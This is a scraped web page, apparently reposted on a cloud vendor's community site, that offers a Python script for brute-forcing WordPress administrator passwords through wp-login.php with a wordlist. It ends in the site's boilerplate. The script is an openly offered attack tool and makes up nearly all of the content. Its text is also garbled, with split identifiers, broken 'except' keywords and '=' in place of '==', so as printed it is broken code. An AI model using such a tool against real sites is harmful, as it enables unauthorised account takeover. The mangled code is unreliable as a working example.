Python brute force cracking wordpress background

Source: Internet
Author: User

#! /Usr/bin/env python # Coding = UTF-8 # wordpress background brute force cracking (python) # python wordpress_bruteforce.py http://xxxx.com/wp-login.php Xxxx dic.txt import urllib, time, sys start = time. time () errors = [] def exploit (url, name, dictionary): for line in open (dictionary): lineline = line. strip () try: data = urllib. urlencode ({'log': name, 'pwd': line, 'redirect _ to': ''}) content = urllib. urlopen (url, data) if content. read () = '': print" Password is: % s "% line print time. time ()-start sys. exit () else: print "try % s failed" % line failed t IOError: errors. append (line) print "try % s occurs IOERROR, add to list and retry it later" % line if _ name _ = "_ main __": if len (sys. argv) <4: print 'usage: Url AdminName Dictionary 'sys. exit (1) exploit (sys. argv [1], sys. argv [2], sys. argv [3]) while errors: for I, line in enumerate (errors): try: data = urllib. urlencode ({'log': sys. argv [2], 'pwd': line, 'redirect _ to': ''}) content = urllib. urlopen (sys. argv [1], data) if content. read () = '': print" Password is: % s "% line print time. time ()-start sys. exit () else: print "try % s failed" % line del errors [I] handle T IOError: errors. append (line) print "try % s occurs IOERROR, add to list and retry it later" % line print time. time ()-start

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.